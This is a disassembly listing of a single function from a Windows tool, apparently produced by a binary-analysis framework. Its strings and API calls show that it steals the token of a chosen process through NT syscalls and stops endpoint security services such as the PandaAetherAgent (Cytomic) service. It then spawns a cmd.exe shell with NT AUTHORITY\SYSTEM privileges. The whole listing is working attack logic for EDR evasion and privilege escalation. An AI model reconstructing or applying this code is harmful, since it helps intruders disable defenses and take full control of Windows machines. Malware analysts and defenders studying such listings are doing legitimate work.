Function at 0x140001070
Capabilities:
Create process on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov rdi, rdx
mov ebx, ecx
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1400015ab
cmp ebx, 3
je 0x1400010c4
lea rcx, str.Usage:_program_needs_a_PID_and_a_security_service_name__TM__CS__MDE__or_PANW_
call fcn.140001010
mov rax, 0xffffffffffffffff
jmp 0x140001591
mov rcx, qword [rdi + 8]
mov qword [rsp + 0x1e0], rsi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov rdi, qword [rdi + 0x10]
movsxd rsi, eax
test eax, eax
jne 0x140001105
lea rcx, str.PID_should_be_a_number._r_n
call fcn.140001010
xor edx, edx
lea rcx, str.PID_process_is__lld._r_n
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x140001589
mov qword [rsp + 0x1f0], r12
lea rcx, str.Stealing_token_from_process__lld._r_n_r_n
mov qword [rsp + 0x1b8], r14
mov rdx, rsi
mov qword [rsp + 0x1b0], r15
call fcn.140001010
lea rcx, str.___1._This_program_will_try_to_Stop_AV_EDR_Services_with_token_steal_with_syscalls._n___2._Will_try_to_deactivate_any_protection_related_to_the_product__without_passwword_._n___3._A_cmd.exe_process_will_be_launched_with_nt_authority_system_privileges__r_n_r_n
call fcn.140001010
mov rbx, 0xffffffffffffffff
lea r8, [rsp + 0x68]
mov rcx, rbx
mov edx, 0x20
call qword [sym.imp.ntdll.dll_NtOpenProcessToken]
test eax, eax
je 0x140001171
mov r9d, eax
lea r8, str.NtOpenProcessToken___returned
mov edx, 0xa5
lea rcx, str.LINE__d:__s_lu_r_n
call fcn.140001010
mov rcx, qword [rsp + 0x68]
lea r8, [rbp + 0x80]
mov r12d, 1
mov qword [rbp + 0x84], 0x14
xor r15d, r15d
mov dword [rbp + 0x80], r12d
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rbp + 0x8c], 2
lea r9d, [r12 + 0xf]
mov qword [rsp + 0x20], r15
call qword [sym.imp.ntdll.dll_NtAdjustPrivilegesToken]
test eax, eax
je 0x1400011d8
mov r9d, eax
lea r8, str.NtAdjustPrivilegesToken___1_returned
mov edx, 0xae
lea rcx, str.LINE__d:__s_lu_r_n
call fcn.140001010
mov rcx, qword [rsp + 0x68]
lea r8, [rbp + 0x80]
mov qword [rsp + 0x28], r15
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], r15
mov dword [rbp + 0x80], r12d
mov qword [rbp + 0x84], 0x1d
mov dword [rbp + 0x8c], 2
call qword [sym.imp.ntdll.dll_NtAdjustPrivilegesToken]
test eax, eax
je 0x140001237
mov r9d, eax
lea r8, str.NtAdjustPrivilegesToken___2_returned
mov edx, 0xb5
lea rcx, str.LINE__d:__s_lu_r_n
call fcn.140001010
xorps xmm0, xmm0
mov qword [rbp - 0x60], r15
lea r9, [rbp - 0x68]
mov qword [rbp - 0x68], rsi
lea r8, [rbp - 0x28]
mov dword [rbp - 0x28], 0x30
mov edx, 0x1fffff
mov qword [rbp - 0x20], r15
lea rcx, [rsp + 0x78]
mov dword [rbp - 0x10], r15d
movdqu xmmword [rbp - 8], xmm0
mov qword [rbp - 0x18], r15
call qword [sym.imp.ntdll.dll_NtOpenProcess]
test eax, eax
je 0x140001291
mov r9d, eax
lea r8, str.NtOpenProcess___returned
mov edx, 0xc2
lea rcx, str.LINE__d:__s_lu_r_n
call fcn.140001010
mov rcx, qword [rsp + 0x78]
lea r8, [rsp + 0x70]
mov edx, 0xe
mov qword [rsp + 0x70], r15
call qword [sym.imp.ntdll.dll_NtOpenProcessToken]
test eax, eax
je 0x1400012ca
mov r9d, eax
lea r8, str.NtOpenProcessToken___returned
mov edx, 0xcb
lea rcx, str.LINE__d:__s_lu_r_n
call fcn.140001010
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x90]
mov qword [rbp - 0x30], rax
lea r8, [rbp - 0x58]
lea rax, [rsp + 0x60]
mov dword [rbp + 0x90], 0xc
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov edx, 0x2000000
mov dword [rsp + 0x20], 2
mov dword [rbp + 0x94], 2
mov word [rbp + 0x98], r12w
mov dword [rbp - 0x58], 0x30
mov qword [rbp - 0x50], r15
mov dword [rbp - 0x40], r15d
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x38], r15
call qword [sym.imp.ntdll.dll_NtDuplicateToken]
test eax, eax
je 0x140001350
mov r9d, eax
lea r8, str.NtDuplicateToken___returned
mov edx, 0xdf
lea rcx, str.LINE__d:__s_lu_r_n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
lea r8, [rbp + 0x80]
mov qword [rsp + 0x28], r15
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], r15
mov dword [rbp + 0x80], r12d
mov qword [rbp + 0x84], 3
mov dword [rbp + 0x8c], 2
call qword [sym.imp.ntdll.dll_NtAdjustPrivilegesToken]
test eax, eax
je 0x1400013af
mov r9d, eax
lea r8, str.NtAdjustPrivilegesToken___1_returned
mov edx, 0xe8
lea rcx, str.LINE__d:__s_lu_r_n
call fcn.140001010
mov r9d, 8
lea r8, [rsp + 0x60]
mov rcx, 0xfffffffffffffffe
lea edx, [r9 - 3]
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
test eax, eax
je 0x1400013ea
mov r9d, eax
lea r8, str.NtSetInformationThread___returned
mov edx, 0xf0
lea rcx, str.LINE__d:__s_lu_r_n
call fcn.140001010
mov r14, qword [rsp + 0x60]
lea r8, [0x1400032d0]
mov rcx, r15
lea rdx, str.Cytomic
movzx eax, word [rdi + rcx*2]
inc rcx
cmp ax, word [rdx + rcx*2 - 2]
jne 0x14000141d
cmp rcx, 8
jne 0x140001400
lea rdi, str.C:Windows_system32cmd.exe__cecho____Your_user_now_is_...__whoami__echo____Stopping_PandaAetherAgent_service_...__net_stop_PandaAetherAgent__echo____Checking_PandaAetherAgent_service_status_...__sc_query_PandaAetherAgent__echo____Spawning_your_shell_...__cmd.exe
jmp 0x140001454
mov rax, r15
lea rdx, str.default
nop word [rax + rax]
movzx ecx, word [rdi + rax*2]
inc rax
cmp cx, word [rdx + rax*2 - 2]
jne 0x140001449
cmp rax, 8
jne 0x140001430
cmp cx, word [rdx + rax*2 - 2]
lea rdi, str.C:Windows_system32cmd.exe__c_echo____Your_user_now_is_...__whoami__echo____Spawning_your_shell_...__cmd.exe
cmovne rdi, r8
xorps xmm1, xmm1
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp - 0x70], rax
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp + 0x70], rax
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
movups xmmword [rbp + 0x50], xmm1
movups xmmword [rbp + 0x60], xmm1
cmp word [rdi + rbx*2 + 2], ax
lea rbx, [rbx + 1]
jne 0x140001480
lea rsi, [rbx*2 + 2]
mov ecx, 0x40
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
jne 0x1400014bf
lea rcx, str.ERROR:_Not_enough_memory._r_n
call fcn.140001010
lea ecx, [rbx + 8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, str.Winsta0Default
mov dword [rbp + 0x10], 0x68
lea rcx, str.CreateProcessAsUserW___...
mov qword [rbp + 0x20], rax
mov word [rbp + 0x50], r12w
call fcn.140001010
lea rax, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x50], rax
mov r8, rbx
lea rax, [rbp + 0x10]
xor edx, edx
mov qword [rsp + 0x48], rax
mov rcx, r14
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.returned__ld_r_n_r_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140001556
lea rcx, str.Token_steal_with_syscalls_done____thanks_to__gtworek__r_n_r_n
call fcn.140001010
mov rcx, qword [rbp - 0x80]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x1b8]
xor eax, eax
mov r12, qword [rsp + 0x1f0]
mov r15, qword [rsp + 0x1b0]
mov rsi, qword [rsp + 0x1e0]
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.1400015d0
add rsp, 0x1c0
pop rdi
pop rbx
pop rbp
ret
lea rcx, str.___Local_Admin_privileges_needed_to_run_this_program__
call fcn.140001010
mov rax, 0xffffffffffffffff
jmp 0x140001591